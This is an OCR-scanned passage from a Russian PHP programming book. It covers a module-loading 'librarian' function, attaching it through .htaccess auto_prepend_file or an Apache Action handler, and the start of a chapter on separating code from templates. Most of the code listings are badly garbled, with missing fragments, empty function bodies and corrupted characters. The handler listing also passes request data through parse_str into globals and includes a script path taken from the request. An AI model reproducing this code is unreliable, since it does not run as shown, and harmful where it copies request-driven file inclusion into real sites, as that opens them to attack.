Тем не менее, должен вас огорчить: к сожалению, разработчики РНР не предусмотрели в языке сколько-нибудь удобной поддержки модульности. Однако не впадайте в уныние: дело в том, что такую поддержку можно в язык добавить, причем относительно несложными приемами самого РНР и сравнительно небольшими затратами с точки зрения быстродействия. Этим мы и займемся в настоящей главе.

Нашитребования

Возможно, вы возразите: "Как же нет никакой поддержки модульности? А инструкция include?" Да, разумеется, уж лучше использовать include, вместо того чтобы хранить всю программу в одном-единственном файле. Но дело в том, что применение этой инструкции довольно-таки неудобно по той простой причине, что поиск подключаемых файлов проводится только в тех каталогах, которые указал администратор при установке РНР. У многих хостинг-провайдеров мы не можем изменять по своему усмотрению эти каталоги, а указание относительных путей (например, . ./../php/somefile. php) оказывается довольно проблематичным (представьте только, сколько всего нам придется изменять, если мы захотим расположить нашу программу в другом месте).

Примечание

Возможно, этот разговор о каталогах выглядит с первого взгляда несколько надуманно, однако люди, уже столкнувшиеся когда-либо с рассматриваемой проблемой, по достоинству оценят затраченные усилия, особенно если их сценарии состоят из десятков файлов и библиотек.

Помните, что при помощи include или require нельзя один и тот же файл загружать дважды (как это часто бывает, если один модуль вызывает другой, но программа об этом "не знает" и еще раз подключает первый — опять же, стандартный случай). В самом деле, если в этом файле находится, к примеру, описание какой-нибудь функции, то при следующем его включении РНР выдаст ошибку: повторное объявление функции. Конечно, последняя проблема полностью решается подстановкой include_once вместо include, что работает, кстати, только в РНР версии 4.

Отсюда мы можем сформулировать главные два требования.

Механизм загрузки модуля должен сам решать, в каком каталоге располагается модуль, независимо от того, где выполняется сценарий. В любой программе возможность загрузить указанный по имени модуль должна быть легко осуществима. Мы хотели бы, чтобы это было так же просто, как мы делаем это с обычными файлами из текущего каталога при помощи include.

Один и тот же модуль не должен загружаться дважды, даже если программа попытается это выполнить.

Примечание J

К слову сказать, оба требования реализованы, например, в языке Perl.

Как я уже говорил, мы можем написать нужную нам "инструкцию", которая будет загружать модуль с применением указанных принципов прямо на РНР. Назовем ее uses () и оформим в виде функции.

Примечание

Далее для краткости модулем на РНР я буду называть файл (например, с расширением Phi), содержащий некоторые общеупотребительные функции, константы и переменные, а также исполняемую часть, которая запускается при первой (и только первой) загрузке модуля.

Библиотекарь

Ту часть кода, которая будет содержать функцию uses () (а мы реализуем ее именно в виде функции) и другие функции, нужные для загрузки модулей, назовем библиотекарем. Этот библиотекарь, очевидно, сценарию придется загружать первым, а каким именно образом, мы поговорим чуть позже.

Теперь немного о том, как мы будем реализовывать uses Это довольно несложно. Помните, я подчеркивал, что поскольку РНР является интерпретатором, то на нем осуществимы такие приемы, как описание функций внутри функций и многое другое. Так мы и сделаем: функция uses вначале будет проверять, не загружался ли уже модуль с таким именем, затем искать затребованный модуль в специальных "каталогах для модулей", фиксировать во внутреннем массиве факт, что указанный файл загружен, и, наконец, вызывать для файла с модулем. Кроме того, на время загрузки текущий каталог будет сменяться на тот, в котором находится модуль, чтобы стартовые части всех модулей запускались в "своих" каталогах. Это как раз та возможность, которая отсутствует в Perl, и которая оказывается довольно удобной на практике.

Раз библиотекарь всегда подключается к программе в первую очередь, разумно доверить ему выполнение еще некоторых действий.

Поместим в файл библиотекаря функции, чаще всего необходимые почти каждому сценарию. Таким образом, мы как бы "расширим" набор встроенных в РНР функций. Однако помните, что встроенные функции переопределять все же нельзя, можно лишь создавать новые с уникальными именами.

Библиотекарь, как никто другой, должен приложить максимум усилий, чтобы сделать сценарии переносимыми с одной платформы на другую. Для нас это будет заключаться в корректировке некоторых переменных, которые РНР создает перед выполнением программы. Первым кандидатом на такую правку будет (а также одноименная переменная окружения), которая, как мы знаем, в Windows-версии РНР содержит не то значение, которое мы ожидаем.

И еще нам хочется, чтобы на момент загрузки модуля текущий каталог сменялся на тот, в котором расположен файл модуля. Таким образом, стартовая часть библиотеки всегда сможет определить, где она находится, — например, при помощи вызова

Вот что у нас получится в результате:

Листинг 29.1. Библиотекарь:

{

define("LIBRARIAN LOADED",1);

Расширение библиотечных файлов по умолчанию define("LibExt","phi");

// Пути поиска библиотек. Если начинаются с точки, то поиск ВСЕГДА // ведется относительно текущей директории, даже если ее сменят,

противном случае при следующем вызова Uses О будет выполнен // перевод пути в $ INC []="."; $

// "Склеивает" полный путь из компонент иправильно

// обрабатывая лишние слэши (например, в концеили в

начале

function {

,

return

return return

Функция преобразует указанный относительный путь в абсолютный. // Если путь уже является абсолютным (то есть, отсчитывается от // корневого каталогато с ним ничего не происходит, в

// противном случае используется имя текущей директории (или // заданной в $cur) с необходимымиСуществование

файла с полученным полным именем неФункция лишена

// некоторых недостатков встроенной в РНРи имеет по

// сравнению с ней несколько большие возможности, работая, правда, // чуть function{ return}

function {// Очищаем путь от лишних символов и обратных слэшей

$name=strtr(trim ($name), "\\","/");

// Сначала разбиваем путь по знакам

$Parts=explode("/", $name);

$Path=($cur===""?getcwd() :$cur); // начальная директория поиска as $i=>$s){

// Признак корневой директории?

&&

// Ссылка на родительский каталог?

else{

// Если это уже корневой каталог, то куда

&&&&

||||continue;

// Иначе используем

$p=dirname($Path) ;

if ($p=="/"||$p=="\\"l |$p=".") $Path=""; else $Path=$p;

}

// Иначе просто имя очередного каталога

else if($s!=="") $Path=glue_path($Path,$s) ;

}

return ($Path!==""?$Path:"/");

// Преобразует URL в абсолютный файловый путь .

// То есть, если он начинается со слэша, то результат

// рассматривается относительно директории DOCUMENT_ROOT, а если

// нет - то относительно dirname ($SCRIPT_NAME).

// Конечно, функция не безупречна (например, она не умеет

// обрабатывать URL, заданные Alias-директивами Apache, но в

// большинстве случаев это и не нужно.

function Url2Path ($name)

{ $curUrl=dirname($GLOBALS[ "SCRIPT_NAME"]) ;

$url=abs_path(trim($name), ScurUrl);

return getenv ("DOCUMENT_ROOT") . $url;

)

// Превращает все пути в списке $INC в абсолютные, однако делает это

// не каждый раз, а только если масив изменился с момента последнего // вызова.

function AbsolutizeINC()

{ global $INC;

static $PrevINC=""; // значение $INC при предыдущем входе

// Сначала проверяем - изменился ли $INC. Если изменился, то

// переводим все пути в массиве в относительные, иначе ничего не

// делаем. Мы делаем это только из соображений улучшения

// производительности функции.

if ($PrevINC!==$INC) {

for($i=0; $i<count($INC); $i++) {

$v=&$INC[$i] ;

if($v[0]=="."&&

(strlen($v)==1 | | $v[l]=='\V II $v[l]==V) ) continue;

$v=abs_path($v);

}

II// Запоминаем текущее состояние массива $PrevINC=$INC;

I

I

}

/ / Загружает указанную библиотеку функций. Для поиска файла

// просматривает директории в массиве $INC.

function Uses ($libname)

{global $INC;

static $PrevINC="";// значение $INC при предыдущем входе

static $ La s t Found= 0; // для ускорения работы

// Переводим все пути в $INC в относительные - вдруг

// вызывающая программа добавила что-нибудь в массив?. . AbsolutizeINC() ;

// Теперь просматриваем пути, начиная с того, по которому

// была найдена какая-нибудь предыдущая загруженная библиотека.

// Скорее всего, там будет загружаемый сейчас модуль. Если нет -

// что же, просмотрим весь список. . .

$1=$LastFound; do {

// В очередной директории есть файл модуля?. . $dir=$INC[SLastFound];

if (@is_file($file="$dir/$libname.".LibExt)) {

// Сменить директорию на ту, в которой расположен модуль $cwd=getcwd();

chdir(dirname($file)) ;

// Делаем доступными для модуля все глобальные переменные. foreach($GLOBALS as $k=>$v) global $$k;

// Включаем файл.

$ret=include_once ($file) ;

// Пока не сменили директорию назад, перевести добавленные

// (возможно?) пути в $INC в абсолютные AbsolutizeINC() ;

// Вернуться chdir($cwd); return $ret; }

$LastFound=($LastFound+l)%count($INC) ;

} while ($LastFound!=$l);

// Ничего не вышло - "умираем"...

die ("Couldn’t find library \"$libhame\" at ".join(", ”,$INC) ."!");

// Корректируем некоторые переменные окружения, которые могут иметь

//неверныезначение,еслиРНРустановленнекакмодульApache.

@putenv ( "SCRIPT_NAME='l

$GLOBALS["HTTP_ENV_VARS"] ["SCRIPT_NAME"] =

$GLOBALS [ "SCRIPTNAME" ] =

ereg_Replace(" \\ ?.*",’"’,getenv(”QUERY_STRING")) ) ;

@putenv("SCRIPT_FILENAME".

$GLOBALS["HTTP_ENV_VARS"]["SCRIPT_FILENAME"]=

$GLOBALS["SCRIPT_FILENAME"]=

Url2Path(getenv("SCRIPT_NAME"))

// Ha всякий случай включаем максимальный контроль ошибок Error_reporting(1+2+4+8);

// ВНИМАНИЕ! После следующего закрывающего тэга

// не должно быть НИКАКИХ ПРОБЕЛОВ! В противном случае

// сценарий, подключающий библиотекаря, будет выводить в самом

// начале своей работы этот пробел, что недопустимо при

// работе с Cookies.

)?>

Обратите внимание на то, что весь код библиотекаря помещен в блок оператора if. Это сделано специально, чтобы при возможной (ошибочной) повторной загрузке библиотекаря по include все работало корректно.

( Замечание )

Возможно, вы скажете, что то же самое можно было бы сделать и в модулях, и обойтись вообще без библиотекаря. Однако это приведет к заметной потере производительности, потому что интерпретатору каждый раз придется загружать и разбирать весь файл модуля, а это — основное время при запуске программы.

Пожалуй, в приведенном коде есть и еще одно интересное место. Я имею в виду инструкции, помеченные комментарием: "Делаем доступными для модуля все глобальные переменные". Зачем это нужно? Разве глобальные переменные по определению не доступны подключаемому модулю? К сожалению, это так, и вот почему. Мы вызываем include_once в теле функции Uses о, а не в глобальном контексте. Неудивительно, что подключенный файл работает не в нем, а в области видимости тела функции. Указанный цикл перебора всех глобальных переменных и их "глобализация" с помощью global решает проблему.

Замечание )

Здесь есть еще одна тонкость. Если модуль "захочет" определить какую-либо новую глобальную переменную, он не сможет сделать это никак иначе, чем через массив $GLOBALS. Однако изменять имеющиеся переменные напрямую он все же способен.

143aк. 699

Работа с библиотекарем

Рассмотрим пример сценария, использующего библиотекарь в своей работе. Мы будем предполагать, что все модули размещены в подкаталоге /lib основного каталога с Web-документами (если вы заметили, такой каталог уже есть в путях поиска модулей по умолчанию, "зашитых" в библиотекаре).

( Замечание )

Пока мы будем подключать библиотекаря явно — инструкцией include. Конечно, это не очень удобно. Очень скоро мы узнаем, как избавиться от указанного недостатка.

Пусть сценарию требуется библиотека files.phi, которую мы написали (или где-то достали, хотя модули для РНР все еще большая редкость), и которая содержит некоторые функции для работы с файлами.

Примечание

Кстати, модулю files.phi самому могут понадобиться некоторые модули. Если это так, нет проблем: достаточно лишь поставить вызов Uses () внутрь кода библиотеки.

I Листинг 29.2. Тестовый сценарий

<?

include "$DOCUMENT_ROOT/lib/librarian.phi"; // подключаем библиотекарь

Uses ("files") ; // подключаем модуль files.phi

// Все — теперь можно использовать модуль

$Content=ReadAllFile ("myfile.txt");// читаем весь файл myfile.txt

$Hash=ReadKeyValFile("keyval.txt") ; // читаем файл формата key=value

// и другие функции, которые, возможно, присутствуют в модуле ?>

Как видите, ничего сложного. Давайте теперь посмотрим, как выглядит мо

дуль files.phi.

Листинг 29.3. Пример модуля files.phi

// Внимание! Так указывается дополнительный каталог для поиска модулей.

// Запись означает, что библиотекарь должен искать модули также и в

// подкаталоге OtherModules/dk текущего каталога

$INC [ ] ="OtherModules/dk" ;

/7 Подключение каких-то других модулей, в которых нуждается files.phi Uses("SomeOtherModule");

Uses("AndOtherModuleToo");

// Константа: символы перевода строки

define ( "CRLF", getenv ( "COMSPEC')1 ?"\r\n^ "\n") ;

// Читает все содержимое файла Sfname и возвращает его

function ReadAllFile($fname)

( Sf=fopen(Sfname, "r") ; if(!$f) return

SCont=fread($f , 1000000) ; f close (Sf) ;

return $Cont;

// Читает файл Sfname, строки которого имеют формат

// ключ1=значение1

// Возвращает ассоциативный массив с указанными в файле ключами function ReadKeyValFile (Sfname)

( $Cont=@File(Sfname) ; if ( !@is_array(SCont)) return array ();

SHash=ar:ray() ;

foreach(SCont as $i=>$st) {

if( !ereg("z( [A=] +) =continue;

$Hash[trim($regs[1 ]) ]=trim($regs [2]) ;

}

return SHash;

}

Автоматическое подключение библиотекаря

Из листинга 29.2 можно видеть, что пока нам не удалось полностью избавиться от указания абсолютного пути к библиотекам. Вот строка, которая мне не нравится:

include "$DOCUMENT_ROOT/lib/librarian.phl"; // подключаем библиотекарь

Действуя привычным способом, нам придется вставлять ее в каждый сценарий, который планирует использовать библиотекаря. Этих сценариев может

быть довольно много, так что если мы вдруг захотим изменить lib на, скажем, . . /libraries, то придется править все программы. По закону Мэрфи где-нибудь да ошибетесь — обязательно. А значит, такое решение нам, как дотошным программистам, не подходит. К счастью, существует еще по крайней мере два способа решить проблему с абсолютными путями, и который из них выбрать — зависит от ситуации.

( Замечание j

Здесь я хочу оговориться: разумеется, где-то все равно придется задать путь к библиотекарю, но такое место будет только одно, поэтому в случае нужды его легко модифицировать.

Способ первый: использование

auto_prepend_ file

Как следует из Приложения 2, РНР опирается при выполнении сценариев на специальный файл конфигурации под названием php.ini, в котором хранится большинство его настроек, заданных в виде директив. Кроме того, если РНР установлен как модуль Apache (а именно так обстоит дело у большинства хостинг-провайдеров), некоторые директивы можно также включать прямо в файлы .htaccess, управляющие работой сервера. Последние могут быть помешены в любой каталог, содержащий сценарии на РНР. Таким образом, для заданного каталога и всех его подкаталогов указанные настройки всегда будут действовать.

Внимание

Помните, что для помещения директивы РНР с каким-нибудь именем NAME в файл .htaccess ее нужно назвать php_NAME, а значение отделить от имени не знаком как в php. ini, а пробелом. В противном случае Apache будет сообщать о неизвестной директиве в файле конфигурации.

Среди обрабатываемых интерпретатором директив есть две особенных. Называются ОНИ auto_prepend_file И auto_append_file. В первой задается абсолютный путь к файлу, содержащему код на РНР, который будет автоматически выполняться перед запуском любого сценария. Не правда ли, это то, что нам нужно?

Конечно, вставлять директиву auto_prepend—file в глобальный php.ini нет никакого смысла. Ведь у подавляющего большинства хостинг-провайдеров одни и те же Apache и РНР обслуживают сразу несколько виртуальных хостов, принадлежащих разным владельцам. А значит, никто не разрешит вам изменять глобальные настройки интерпретатора. В этом случае модификация файлов .htaccess оказывается единственно правильным и возможным

решением. Правда, для этого нам нужно знать, какой физический каталог соответствует на нашем сервере корневому для документов. Выяснить это можно, например, с помощью такого простого сценария:

| Листинг 29.4. Определение физического корневого каталога сервера

echo $DOCUMENT_ROOT;

Пусть, к примеру, у нашего хостинг-провайдера используется каталог /home/dk/www. Тогда для автоматического подключения библиотекаря ко всем сценариям на РНР нужно добавить в файл .htaccess примерно такую строку:

php_value auto_prepend_file /home/dk/www/lib/librarian.phi

Примечание

Вообще говоря, лучше всего сделать это в файле .htaccess, который находится в корневом каталоге сервера, для того чтобы подключение библиотекаря происходило ко всем сценариям во всех каталогах. Если этого файла не существует, необходимо его создать.

Как уже упоминалось, данный способ не подходит для того виртуального сервера для Windows, установка которого описана в части II настоящей книги. Изменение php.ini — тоже не очень удачная идея в силу вышеизложенных рассуждений. Тут нам на помощь придет второй способ, который мы сейчас и рассмотрим.

Способ второй: установка обработчика Apache

Установка своего обработчика сопряжена с несколько большими сложностями, чем использование директив auto_prepend_file И auto_append_file. Тем не менее, он позволяет нам получить чуть больший контроль над сервером, поскольку перекладывает задачу выбора и запуска нужного сценария на плечи программиста. Это — установка нового обработчика Apache. Тема настолько важна, что мы, пожалуй, отложим на время нашего библиотекаря (к нему мы еще обязательно вернемся) и займемся непосредственно обработчиками.

Обработчики Apache

Итак, что же такое обработчик Apache? На самом деле мы постоянно сталкиваемся с одним из классических примеров обработчика. Да-да, вы уже догадались: это сам РНР. Если чуть углубиться в теорию, то обработчиком

называется сценарий (возможно, встроенный в сам сервер, как это происходит с РНР), который запускается сервером при попытке пользователя открыть ту или иную страницу определенного типа.

Каждый обработчик должен иметь уникальный идентификатор — имя обработчика, который я для краткости буду называть просто именем. Оно может состоять только из алфавитно-цифровых символов и знаков подчеркивания. Заметьте, что это имя — не то же самое, что имя файла сценария, в котором хранится код обработчика. Имя обработчика и является тем, которое нужно указывать серверу в директиве AddHandler, когда мы хотим связать определенные документы с нашим сценарием.

Но как же сопоставить идентификатор обработчика тому сценарию, который содержит его код? У сервера Apache для этого есть специальная директива под названием Action. Где задается эта директива? В любом файле конфигурации Apache. Конечно, удобнее всего это делать в файле .htaccess, расположенном в корневом каталоге виртуального хоста, чтобы изменения распространились сразу на весь сервер. Мы уже рассматривали такую стратегию выше, только теперь все будет чуточку сложнее.

Вот требуемые директивы. Поместим их, как водится, в главный . htaccess- файл хоста.

Сначала связываем имя обработчика с конкретным файлом.

Знак ”7” говорит серверу, что исходный URL запроса следует

передать сценарию методом GET, т. e. через QUERY_STRING.

Action libhandler Vlib/libhandler.php? "

Теперь уведомляем сервер, документы какого типа мы желаем

t "пропускать" через наш обработчик.

AddHandier libhandler .html .htm

В этом фрагменте есть два тонких места.

□ Путь к сценарию обработчика всегда указывается как абсолютный URL без указания имени хоста и порта. Мы не можем задать здесь ни путь к файлу, ни даже относительный URL. По той причине, чтобы позволить одному обработчику "передавать эстафету" другому. В самом деле, ведь это и происходит в нашем примере: Apache сначала определяет, что документ нужно "пропустить" через обработчик libhandler, а т. к. он представляет собой ни что иное, как сценарий на РНР, то и через интерпретатор РНР. В деталях затронутый процесс чуть сложнее, но мы не будем в него углубляться.

□ После URL сценария в директиве Action следует знак ?. Зачем он? Это связано с механизмом, который использует Apache для того, чтобы определить конечный обработчик для того или иного документа. Когда пользователь посылает серверу URL, который, как Apache "знает", подходит

под одну из команд Action, к этому URL слева просто присоединяется второй параметр директивы, и все начинается сначала — до тех пор, пока не будет найден последний обработчик. Например, если пользователь ввел /dir/file.html, то благодаря директиве Action указанный адрес преобразуется В /lib/libhandler.php?/dir/flie.html. Это — ни ЧТО иное, как адрес PHP-сценария с параметром, который будет передан программе, как обычно, через переменную окружения QUERY_STRING.

Теперь сервер знает, что все документы с расширением html и htm нужно обрабатывать при помощи сценария, расположенного по адресу /l ib/i ihha ndTer .pht Точнее, при каждой попытке открыть страницы с указанными расширениями Apache будет запускать наш сценарий и в числе обычных переменных окружения отправлять ему несколько специальных, содержащих первичную информацию о запросе, переданном пользователем. Мы сейчас рассмотрим эти переменные на практике. Если вас интересует их полный список, попробуйте распечатать массив $GLOBALS или воспользоваться функцией phpinfо() , вставив ее первой и единственной командой обработчика libhandler.php.

Внимание

Вы, возможно, спросите, почему же мы не добавили в список расширений, на которые будет "реагировать" сценарий, еще одно — php? Давайте посмотрим, что бы произошло, поступи мы так. Предположим, пользователь хочет загрузить страницу /a.php. Apache "видит", что расширение у нее — php, и запускает обработчик с именем /lib/libhandler.php. Точнее, он "сваливает" всю работу на сценарий libhandler.php. Еще точнее — перенаправляет сервер по адресу /lib/libhandler .php?a.php! И тут же зацикливается, потому что у этого сценария расширение — также php. Итак, сервер начинает вызывать сценарий снова и снова, все удлиняя его URL — до тех пор, пока не "поймет": что-то неверно, и пора аварийно завершаться, о чем и сообщает в файлах журнала. О том, как решить эту проблему, рассказано в самом конце главы.

Ну вот, у нас уже почти все готово. Осталось только написать сам код обработчика. Это не так уж и сложно. Но прежде давайте вспомним, зачем мы вообще связались с. обработчиками. Для автоматической загрузки библиотекаря перед выполнением того или иного сценария, помните? Что же, вот пример (листинг 29.5).

Замечание J

Мы подразумеваем, что обработчик libhandler.php находится в том же самом каталоге, что и библиотекарь с большинством модулей. Это довольно удобно, поскольку позволяет нам задавать путь к каталогу с модулями лишь в единственном месте — в директиве Action файла .htaccess, да и то в виде относительного URL. Оцените, насколько это проще для будущих модификаций сайта.

Листинг 29.5.с подключением библиотекаря

// Прежде всего, устанавливаем свои каталоги поиска

Это, по нашей— текущий в данный момент каталог.

$INC[]=getcwd();

// Проверяем, не пытается ли пользователь запустить обработчик напрямую, // минуя Apache — например, путем набора в браузере адреса //Так как адрес, введенный пользователем,

// всегда передается в переменной окружениято нужно

тревогу", еслистрока адреса встречается

в имени файла обработчика (причем в любом регистре // Мы не забыли отрезать в этой строке часть после ?, потому что

она будет мешать при сравнении с именем файла.

// К сожалению, похоже, это единственный переносимый между // системами способ проверки легальности запуска обработчика.

FILE

$ReqName=ereg_Replace ("\\?.*", "", strtr (getenv ("REQUEST_URI" ) , " W", "/") ) ;

{

// Выводим сообщение об ошибке include

// Записываем в журнал данные о пользователе

3f=fopen("1obhandler.log","a+");

$REMOTE_ADDR - Access fclose ($f);

// Завершаем работу exit;

}.

// Все в порядке — корректируем переменные окружения в соответствии // с запрошенным пользователем адресом.

tiputenv("REQUEST_URI=".

$GLOBALS["HTTP_ENV_VARS"]["REQUEST_URI"]=

9GLOBALS["REQUEST^URI"]=

getenv("QUERY_STRING") ) ;

@putenv("QUERY_STRING=".

$GLOBALS["HTTP_ENV_VARS"] ["QUERY_STRING" ]=

$GLOBALS["QUERY STRING"]=

ereg_Replace( " A [A? ] *\\?", " ",getenv("QUERY_STRING")) ) ;

parse_str($QUERY_STRING);

// Подключаем библиотекарь include "librarian.phi";

// Здесь можно выполнить еще какие-нибудь действия...

// . . .

// Запускаем тот сценарий, который был запрошен пользователем chdir(dirname(5SCRIPT_FILENAME));

include $SCRIPT—FILENAME; ?>

Ну и, конечно, какая же программа обходится без вывода диагностических сообщений? Наш пример подгружает файл libhandler.err в случае "жульничества" пользователя. Наверное, в нем следует написать что-то типа: <headxtitle>flocTyn запрещен! </titlex/head> <body>

<Ь2>Доступ запрещен!</h2>

Пользователь сделал попытку нелегально вызвать обработчик Apache, отвечающий за автоматическое подключение библиотекаря. Так как это свидетельствует о его желании нелегально проникнуть на сервер, попытка была пресечена. Информация о пользователе записана в файл журнала.

</body>

В результате мы пришли к тому, что теперь все документы с расширениями html и htm рассматриваются как сценарии на РНР. Они запускаются уже после того, как подключен библиотекарь, так что могут пользоваться функцией Uses ( ) .

Примечание

Если вы не собираетесь использовать библиотекарь, а хотите применять описанный выше механизм только для того, чтобы включить РНР для файлов с расширением html, лучше прочитайте конец этой главы. Там описано, как сделать это проще.

Перехват обращений

к несуществующим страницам

Самое интересное, что наш обработчик будет вызываться как для существующих файлов с расширением html, так и для несуществующих (правда, расположенных в существующем каталоге). Какой простор это открывает для творчества! Например, мы можем написать систему новостей или форум, в

котором у всех сценариев не будет ни одного "видимого" параметра. Все данные могут передаваться прямо в имени файла, например:

/forum/Computers-01-04-01.html

Хотя файла Computers-01-04-01. html нет и в помине, обработчик может перехватить запрос к нему и определить, что речь идет о новостях в разделе "Компьютеры" за 1 апреля 2001 года. Затем, получив нужную информацию из базы данных, остается лишь отправить ее клиенту.

Замечание)

Обычно для подобных целей используют специальный модуль Apache — mod_rewrite. К сожалению, по статистике далеко не все хостинг-провайдеры соглашаются устанавливать его на свои серверы. В то же время механизм Action/AddHandler работает всегда и везде, где установлен Apache.

Надо заметить, что в примере из листинга 29.5 мы никак не перехватываем обращения к несуществующим страницам. Что происходит, если пользователь все же введет неправильный адрес? Очевидно, вызов include, стоящий в предпоследней строчке, завершится неуспешно, а РНР выведет сообщение об ошибке. Наверное, в реальной программе нужно как-то обрабатывать эту ситуацию, например, при помощи проверки существования запрошенного файла.

Связывание РНР с другим расширением

Как мы знаем, сам РНР представляет собой обычный обработчик. Значит, скажете вы, чтобы заставить его обрабатывать документы с расширением, отличным от РНР, нам нужно просто добавить директиву AddHandler для этого расширения в соответствующий файл .htaccess? He совсем. Проблема заключается в том, что мы не знаем идентификатора обработчика, он хранится где-то в недрах кода интерпретатора. Вместо этого мы поступим по-другому: заставим Apache считать, что документы с нужным нам расширением имеют тот же тип, что и с расширением php.

Что же такое тип документа! Это еще одно понятие, которое использует Apache в своей работе. Некоторые из этих типов также "понимают" и браузеры. В их числе, например, text/html, обозначающий HTML-страницу, image/gif, который сигнализирует, что данные являются рисунком GIF, и т. д. Именно этими типами (а не расширениями страниц!) руководствуются браузеры, когда решают, в каком формате прислал сервер данные.

Однако есть несколько типов документов, которые никогда не отсылаются браузеру в исходном виде. Один из них — application/x-httpd-php. Именно с этим типом и связан интерпретатор РНР. Если сервер "видит", что пользователь запросил страницу, которая имеет тип appiication/x-httpd-php, он

Глава 29. Модульность программы. Написание "библиотекаря" _ 413 активизирует РНР, а уж тот берет на себя всю дальнейшую ответственность по запуску сценария и выводу "правильного" заголовка типа (чаще всего text /html) в браузер.

Как же сервер узнает, какой тип имеет тот или иной документ? Вообще говоря, это отдельная проблема. Самое простое ее решение — определять тип по расширению файла. В большинстве случаев это оказывается самым лучшим решением. Программист может сам задать, какое расширение соответствует тому или иному типу, добавив в нужный файл . htaccess следующую директиву:

AdaType имя типа расширение! расширение/ ...

£ Примечание

А как быть, если многие из наших документов не имеют в принципе никакого расширения? Например, мы хотим хранить рисунки GIF, JPG и PNG в файлах без расширения. Разумеется, в этом случае директива AddType нам не поможет. Однако у Apache существует еще одно мощное средство для распознавания типов страниц — это модуль mod_mime_magic (конечно, если он подключен к той версии сервера, которая установлена у вашего хостинг-провайдера). В случае, если определение типа на основе директив AddType закончилось неудачей, этот модуль пытается по нескольким первым байтам файла узнать, какого же он типа. Например, во всех GIF-файлах первые три байта — символы G, I и F. Поэтому с вероятностью практически 100% определение типа проходит правильно.

Предположим, что мы хотим связать расширение php4 с РНР для всего сайта. Для этого запишем в файл .htaccess, расположенный в корневом каталоге сервера, такую директиву:

AddType application/x-httpd-php php4

Теперь для всех файлов с расширением php4 будет выполняться то же, что и для php. Кстати говоря, именно такая директива (но для php) записана в главном файле httpd.conf вашего хостинг-провайдера.

Решение проблемы зацикливания обработчика

Помните, обработчик из листинга 29.5 мы связали только с расширениями html и htm, но не php? Мы сделали это, чтобы избежать зацикливания обработчика (см. соответствующее замечание). Давайте исправим положение. Очевидно, нужно связать с РНР еще одно расширение, которое не будет использоваться в сайте нигде, кроме как в имени обработчика из листинга 29.5. Пусть это будет, например, php4. Модифицируем наш . htaccess".

N Связываем расширение php4 c PHF

AddType application/x-httpd-php php4

ft Замкнем имя обработчика на конкретный файл

Action libhandler "/lib/libhandler.php4?"

# Документы этого типа мы желаем "пропускать" через наш обработчик

AddHandler libhandler .html .htm .php

Ну и, конечно, осталось только переименовать имеющийся у нас файл

libhandler.php В 1ibhandler.php4.

Теперь все сценарии с расширением php могут использовать функции, предоставляемые библиотекарем.

Глава 30

Код и шаблон страницы

Что и говорить, конечно, очень удобно, что РНР позволяет комбинировать код программы с обычным HTML-текстом, но этой возможностью все же не стоит злоупотреблять. И особенно в больших сценариях. Это чередование очень плохо смотрится: сначала код, потом — вставки HTML, а затем - опять код. Кроме того, вашему HTML-верстальщику будет крайне трудно понять, где же в этом сценарии именно "его" участки, которые он может править и изменять.

Впрочем, особых проблем здесь нет: я предлагаю отделять почти весь код сценария от текста, задающего внешний вид страницы. А именно — хранить их в разных файлах. Я уже неоднократно затрагивал такой подход в этой книге, все время ссылаясь (не совсем явно) на настоящую главу. Что же, теперь настало время по достоинству оценить тот выигрыш, который дает нам отделение кода от шаблона страницы.

Думаете, сейчас мы будем углубляться в "дебри теории", далекой от практики и вряд ли вам полезной? Ничего подобного. Я просто расскажу, как можно удобно строить свои программы, а в конце приведу довольно "внушительный" код шаблонизатора (так я называю систему управления страницами и шаблонами), который призван сделать работу Web-программиста максимально простой и эффективной.

Примечание

Некоторые программисты утверждают, что отделению кода от шаблона страницы уделяют слишком много внимания — чрезмерно много. Если и вы так думаете, — что же, я не буду с вами спорить и критиковать вашу точку зрения. Если бы я не занимался этой проблемой столько времени, то, возможно, и сам бы так считал. Будем честны: отвечает ли проблема отделения кода от шаблона страницы тому вниманию и количеству страниц, что я ей здесь уделил? Откровенно говоря, не отвечает. В действительности, чтобы полностью рассказать о возможных решениях задачи, потребовалось бы написать отдельную книгу размером в тысячу страниц. Я же ограничусь всего кое-какими рассуждениями и примером простейшего шаблонизатора.

Идеология

Большинство сценариев пишутся на различных языках программирования без всякого отделения кода от шаблона страницы. Зачем же тогда нам это нужно? Что заставляет нас искать новые пути в Web-программировании?

Причина всего одна. Это — желание поручить разработку качественного и сложного сценария сразу нескольким людям, чтобы каждый из них занимался своим делом, которое, как предполагается, он знает лучше всего. Одна группа людей (назовем ее "программисты") занимается тем, что касается взаимодействия программы с пользователем и обработки данных. Другая же группа (для простоты я буду говорить о ней как о "дизайнерах"), наоборот, отвечает лишь за эстетическую часть работы. Разумеется, программисты и дизайнеры — не единственные категории, которые нужно сформировать при создании крупных сайтов. Безусловно, требуется еще одно лицо, которое бы "связывало" и координировало их между собой. Им может быть человек, не имеющий выдающихся достижений ни в Web-дизайне, ни в Web- программировании, но в то же время наделенный хорошей интуицией и знаниями. Если этого человека нет, кому-то все равно придется выполнять его работу (например, одному из программистов), что, конечно же, будет немного противоречить желаниям последнего. В результате работа над проектом затянется и, возможно, "обрастет" излишними сложностями технического характера.

( Замечание )

Я убежден, что нельзя быть одновременно хорошим программистом и выдающимся дизайнером в указанном только что понимании. Эти две профессии взаимоисключают друг друга, поскольку требуют совершенно разных складов мышления. Если у вас нет раздвоения личности, вы без труда определите для себя, к какой категории людей принадлежите сами.

Зачем нам вообще понадобилось распределять разработку Web-сценариев по нескольким направлениям? Отвечаю последовательно. Во-первых, так создаются гораздо более качественные программы и Web-страницы. Во-вторых, сроки выполнения работы значительно сокращаются за счет организации параллельного выполнения задания. Если вас это все равно не убедило, вспомните о том, что именно так организуются практически все крупные Web-студии по всему миру.

Что же получается, если в своих сценариях вы будете смешивать код и оформление сценария? Фактически, его поддержкой и доработкой не сможет заняться никто, кроме вас самого. В самом деле: программиста будет раздражать постоянно встречающиеся вставки HTML-кода, а дизайнера — опасность случайно изменить какую-нибудь важную функцию программы.

Иными словами, такой метод (да и можно ли назвать его методом?) совершенно не подходит при разработке мало-мальски крупных проектов.

Замечание

С горечью отмечаю, что разработчики РНР практически не приблизили нас к решению проблемы отделения кода от шаблона страницы. Создается впечатление, что они преследовали как раз противоположные цели: максимально упростить совмещение HTML и РНР за счет снижения функциональности последнего. Когда мы будем разбирать код шаблонизатора ниже в этой главе, вы увидите, на какие "увертки" нам придется пойти, чтобы обойти все "подводные камни", невольно расставленные для нас авторами РНР.

Двухуровневая схема

